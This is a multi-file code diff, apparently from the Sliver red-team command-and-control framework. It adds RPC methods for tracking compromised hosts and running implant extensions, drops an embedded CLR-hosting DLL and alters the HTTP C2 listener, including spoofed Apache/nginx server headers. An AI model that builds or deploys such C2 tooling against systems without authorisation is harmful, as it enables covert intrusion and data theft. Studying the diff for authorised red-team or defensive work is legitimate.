commonpb.Response Response = 9;
}
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
File diff suppressed because it is too large. Load diff
+11 -1
View File
@@ -47,6 +47,12 @@ service SliverRPC {
rpc LootAll(commonpb.Empty) returns(clientpb.AllLoot);
rpc LootAllOf(clientpb.Loot) returns(clientpb.AllLoot);
// *** Hosts ***
rpc Hosts(commonpb.Empty) returns(clientpb.AllHosts);
rpc Host(clientpb.Host) returns(clientpb.Host);
rpc HostRm(clientpb.Host) returns(commonpb.Empty);
rpc HostIOCRm(clientpb.IOC) returns(commonpb.Empty);
// *** Implants ***
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
@@ -115,8 +121,12 @@ service SliverRPC {
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
// Extensions
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
rpc CallExtension(sliverpb.CallExtensionReq) returns (sliverpb.CallExtension);
rpc ListExtensions(sliverpb.ListExtensionsReq) returns (sliverpb.ListExtensions);
// *** Wireguard Specific ***
rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);
+263 -7
View File
@@ -51,6 +51,11 @@ type SliverRPCClient interface {
LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error)
LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
LootAllOf(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
// *** Hosts ***
Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error)
Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error)
HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error)
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
// *** Implants ***
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
@@ -117,8 +122,12 @@ type SliverRPCClient interface {
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
// Extensions
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error)
// *** Wireguard Specific ***
WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
@@ -343,6 +352,42 @@ func (c *sliverRPCClient) LootAllOf(ctx context.Context, in *clientpb.Loot, opts
return out, nil
}
func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) {
out := new(clientpb.AllHosts)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) {
out := new(clientpb.Host)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
out := new(clientpb.Generate)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...)
@@ -910,8 +955,8 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
return out, nil
}
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error) {
out := new(sliverpb.DllHijack)
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
out := new(clientpb.DllHijack)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
if err != nil {
return nil, err
@@ -928,6 +973,33 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
return out, nil
}
func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
out := new(sliverpb.RegisterExtension)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) {
out := new(sliverpb.CallExtension)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) {
out := new(sliverpb.ListExtensions)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
out := new(sliverpb.WGPortForward)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
@@ -1115,6 +1187,11 @@ type SliverRPCServer interface {
LootContent(context.Context, *clientpb.Loot) (*clientpb.Loot, error)
LootAll(context.Context, *commonpb.Empty) (*clientpb.AllLoot, error)
LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error)
// *** Hosts ***
Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error)
Host(context.Context, *clientpb.Host) (*clientpb.Host, error)
HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error)
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
// *** Implants ***
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
@@ -1181,8 +1258,12 @@ type SliverRPCServer interface {
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
// Extensions
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error)
// *** Wireguard Specific ***
WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
@@ -1272,6 +1353,18 @@ func (UnimplementedSliverRPCServer) LootAll(context.Context, *commonpb.Empty) (*
func (UnimplementedSliverRPCServer) LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error) {
return nil, status.Errorf(codes.Unimplemented, "method LootAllOf not implemented")
}
func (UnimplementedSliverRPCServer) Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error) {
return nil, status.Errorf(codes.Unimplemented, "method Hosts not implemented")
}
func (UnimplementedSliverRPCServer) Host(context.Context, *clientpb.Host) (*clientpb.Host, error) {
return nil, status.Errorf(codes.Unimplemented, "method Host not implemented")
}
func (UnimplementedSliverRPCServer) HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method HostRm not implemented")
}
func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method HostIOCRm not implemented")
}
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
}
@@ -1461,12 +1554,21 @@ func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverp
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
}
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
}
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
}
func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
}
func (UnimplementedSliverRPCServer) CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
return nil, status.Errorf(codes.Unimplemented, "method CallExtension not implemented")
}
func (UnimplementedSliverRPCServer) ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
return nil, status.Errorf(codes.Unimplemented, "method ListExtensions not implemented")
}
func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
}
@@ -1912,6 +2014,78 @@ func _SliverRPC_LootAllOf_Handler(srv interface{}, ctx context.Context, dec func
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Hosts(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Hosts",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.Host)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Host(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Host",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.Host)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).HostRm(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/HostRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.IOC)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).HostIOCRm(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/HostIOCRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.GenerateReq)
if err := dec(in); err != nil {
@@ -3047,7 +3221,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
}
func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.DllHijackReq)
in := new(clientpb.DllHijackReq)
if err := dec(in); err != nil {
return nil, err
}
@@ -3059,7 +3233,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
FullMethod: "/rpcpb.SliverRPC/HijackDLL",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*sliverpb.DllHijackReq))
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
}
return interceptor(ctx, in, info, handler)
}
@@ -3082,6 +3256,60 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegisterExtensionReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegisterExtension(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegisterExtension",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.CallExtensionReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).CallExtension(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/CallExtension",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ListExtensionsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).ListExtensions(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/ListExtensions",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.WGPortForwardStartReq)
if err := dec(in); err != nil {
@@ -3404,6 +3632,22 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "LootAllOf",
Handler: _SliverRPC_LootAllOf_Handler,
},
{
MethodName: "Hosts",
Handler: _SliverRPC_Hosts_Handler,
},
{
MethodName: "Host",
Handler: _SliverRPC_Host_Handler,
},
{
MethodName: "HostRm",
Handler: _SliverRPC_HostRm_Handler,
},
{
MethodName: "HostIOCRm",
Handler: _SliverRPC_HostIOCRm_Handler,
},
{
MethodName: "Generate",
Handler: _SliverRPC_Generate_Handler,
@@ -3664,6 +3908,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "GetPrivs",
Handler: _SliverRPC_GetPrivs_Handler,
},
{
MethodName: "RegisterExtension",
Handler: _SliverRPC_RegisterExtension_Handler,
},
{
MethodName: "CallExtension",
Handler: _SliverRPC_CallExtension_Handler,
},
{
MethodName: "ListExtensions",
Handler: _SliverRPC_ListExtensions_Handler,
},
{
MethodName: "WGStartPortForward",
Handler: _SliverRPC_WGStartPortForward_Handler,
+17
View File
@@ -251,6 +251,14 @@ const (
// MsgRegistryListValuesReq - List registry values
MsgRegistryListValuesReq
// MsgRegisterExtensionReq - Register a new extension
MsgRegisterExtensionReq
// MsgCallExtensionReq - Run an extension command
MsgCallExtensionReq
// MsgListExtensionsReq - List loaded extensions
MsgListExtensionsReq
)
// Constants to replace enums
@@ -480,6 +488,15 @@ func MsgNumber(request proto.Message) uint32 {
return MsgRegistrySubKeysListReq
case *RegistryListValuesReq:
return MsgRegistryListValuesReq
case *RegisterExtensionReq:
return MsgRegisterExtensionReq
case *CallExtensionReq:
return MsgCallExtensionReq
case *ListExtensionsReq:
return MsgListExtensionsReq
}
return uint32(0)
File diff suppressed because it is too large. Load diff
+50 -16
View File
@@ -195,6 +195,7 @@ message UploadReq {
string Path = 1;
string Encoder = 2;
bytes Data = 3;
bool IsIOC = 4;
commonpb.Request Request = 9;
}
@@ -331,6 +332,8 @@ message ExecuteReq {
string Path = 1;
repeated string Args = 2;
bool Output = 3;
string Stdout = 4;
string Stderr = 5;
commonpb.Request Request = 9;
}
@@ -339,13 +342,17 @@ message ExecuteTokenReq {
string Path = 1;
repeated string Args = 2;
bool Output = 3;
string Stdout = 4;
string Stderr = 5;
commonpb.Request Request = 9;
}
message Execute {
string Result = 1;
uint32 Status = 2;
uint32 Status = 1;
string Stdout = 2;
string Stderr = 3;
uint32 Pid = 4;
commonpb.Response Response = 9;
}
@@ -802,20 +809,6 @@ message SSHCommand {
commonpb.Response Response = 9;
}
message DllHijackReq {
string ReferenceDLLPath = 1;
string TargetLocation = 2;
bytes ReferenceDLL = 3;
bytes TargetDLL = 4;
string ProfileName = 5;
commonpb.Request Request = 9;
}
message DllHijack {
commonpb.Response Response = 9;
}
message GetPrivsReq {
commonpb.Request Request = 9;
}
@@ -834,5 +827,46 @@ message GetPrivs {
string ProcessIntegrity = 2;
string ProcessName = 3;
commonpb.Response Response = 9;
}
// Extensions
message RegisterExtensionReq {
string Name = 1;
bytes Data = 2;
string OS = 3;
string Init = 4;
commonpb.Request Request = 9;
}
message RegisterExtension {
commonpb.Response Response = 9;
}
message CallExtensionReq {
string Name = 1;
bool ServerStore = 2;
bytes Args = 3;
string Export = 4;
commonpb.Request Request = 9;
}
message CallExtension {
bytes Output = 1;
bool ServerStore = 2;
commonpb.Response Response = 9;
}
message ListExtensionsReq {
commonpb.Request Request = 9;
}
message ListExtensions {
repeated string Names = 1;
commonpb.Response Response = 9;
}
+1 -25
View File
@@ -42,8 +42,7 @@ import (
const (
// GoDirName - The directory to store the go compiler/toolchain files in
GoDirName = "go"
dllDirName = "dll"
GoDirName = "go"
goPathDirName = "gopath"
versionFileName = "version"
@@ -76,12 +75,6 @@ func GetRootAppDir() string {
return dir
}
// GetDllDir - Returns the full path to the data directory
func GetDllDir() string {
dir := path.Join(GetRootAppDir(), dllDirName)
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
@@ -110,7 +103,6 @@ func Setup(force bool, echo bool) {
}
setupGo(appDir)
setupCodenames(appDir)
setupDllPath(appDir)
saveAssetVersion(appDir)
}
}
@@ -263,22 +255,6 @@ func SetupGoPath(goPathSrc string) error {
return nil
}
// setupDllPath - Sets the data directory up
func setupDllPath(appDir string) error {
dataDir := GetDllDir()
if _, err := os.Stat(dataDir); os.IsNotExist(err) {
setupLog.Infof("Creating data directory: %s", dataDir)
os.MkdirAll(dataDir, 0700)
}
hostingDll, err := assetsFs.ReadFile(path.Join("fs", "dll", "HostingCLRx64.dll"))
if err != nil {
setupLog.Info("failed to find the dll")
return err
}
err = ioutil.WriteFile(path.Join(dataDir, "HostingCLRx64.dll"), hostingDll, 0600)
return err
}
func unzipGoDependency(fsPath string, targetPath string) error {
setupLog.Infof("Unpacking go dependency %s -> %s", fsPath, targetPath)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/amd64/*
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/arm64/*
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/linux/amd64/*
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/windows/amd64/*
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
assetsFs embed.FS
)
Binary file not shown.
-29
View File
@@ -1,29 +0,0 @@
BSD 3-Clause License
Copyright (c) 2018, b4rtik
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+237 -179
View File
@@ -30,8 +30,10 @@ import (
"encoding/pem"
"errors"
"fmt"
"io"
"io/ioutil"
insecureRand "math/rand"
"mime"
"net"
"net/http"
"net/url"
@@ -60,13 +62,19 @@ var (
httpLog = log.NamedLogger("c2", "http")
accessLog = log.NamedLogger("c2", "http-access")
ErrMissingNonce = errors.New("nonce not found in request")
ErrMissingOTP = errors.New("otp code not found in request")
ErrMissingNonce = errors.New("nonce not found in request")
ErrMissingOTP = errors.New("otp code not found in request")
ErrInvalidEncoder = errors.New("invalid request encoder")
ErrDecodeFailed = errors.New("failed to decode request")
ErrReplayAttack = errors.New("replay attack detected")
)
const (
defaultHTTPTimeout = time.Second * 60
pollTimeout = defaultHTTPTimeout - 5
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
DefaultHTTPTimeout = time.Minute * 5
DefaultLongPollTimeout = float32(20)
DefaultLongPollJitter = float32(20)
minPollTimeout = time.Second * 5
)
func init() {
@@ -137,31 +145,36 @@ type HTTPServerConfig struct {
Cert []byte
Key []byte
ACME bool
MaxRequestLength int
EnforceOTP bool
LongPollTimeout float32
LongPollJitter float32
}
// SliverHTTPC2 - Holds refs to all the C2 objects
type SliverHTTPC2 struct {
HTTPServer *http.Server
Conf *HTTPServerConfig
ServerConf *HTTPServerConfig // Server config (user args)
HTTPSessions *HTTPSessions
SliverStage []byte // Sliver shellcode to serve during staging process
Cleanup func()
EnforceOTP bool
server string
poweredBy string
c2Config *configs.HTTPC2Config // C2 config (from config file)
serverVersion string
}
func (s *SliverHTTPC2) getServerHeader() string {
if s.server == "" {
if s.serverVersion == "" {
switch insecureRand.Intn(1) {
case 0:
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
s.serverVersion = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
s.server = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
s.serverVersion = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
}
}
return s.server
return s.serverVersion
}
func (s *SliverHTTPC2) getCookieName() string {
@@ -170,16 +183,12 @@ func (s *SliverHTTPC2) getCookieName() string {
return cookies[index]
}
func (s *SliverHTTPC2) getPoweredByHeader() string {
if s.poweredBy == "" {
switch insecureRand.Intn(1) {
case 0:
s.poweredBy = fmt.Sprintf("PHP/8.0.%d", insecureRand.Intn(10))
default:
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d", insecureRand.Intn(4), insecureRand.Intn(20))
}
func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
if s.c2Config != nil {
return s.c2Config
}
return s.poweredBy
s.c2Config = configs.GetHTTPC2Config()
return s.c2Config
}
// StartHTTPSListener - Start an HTTP(S) listener, this can be used to start both
@@ -189,19 +198,18 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
StartPivotListener()
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
server := &SliverHTTPC2{
Conf: conf,
ServerConf: conf,
HTTPSessions: &HTTPSessions{
active: &map[string]*HTTPSession{},
mutex: &sync.RWMutex{},
},
EnforceOTP: true,
}
server.HTTPServer = &http.Server{
Addr: conf.Addr,
Handler: server.router(),
WriteTimeout: defaultHTTPTimeout,
ReadTimeout: defaultHTTPTimeout,
IdleTimeout: defaultHTTPTimeout,
WriteTimeout: DefaultHTTPTimeout,
ReadTimeout: DefaultHTTPTimeout,
IdleTimeout: DefaultHTTPTimeout,
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
}
if conf.ACME {
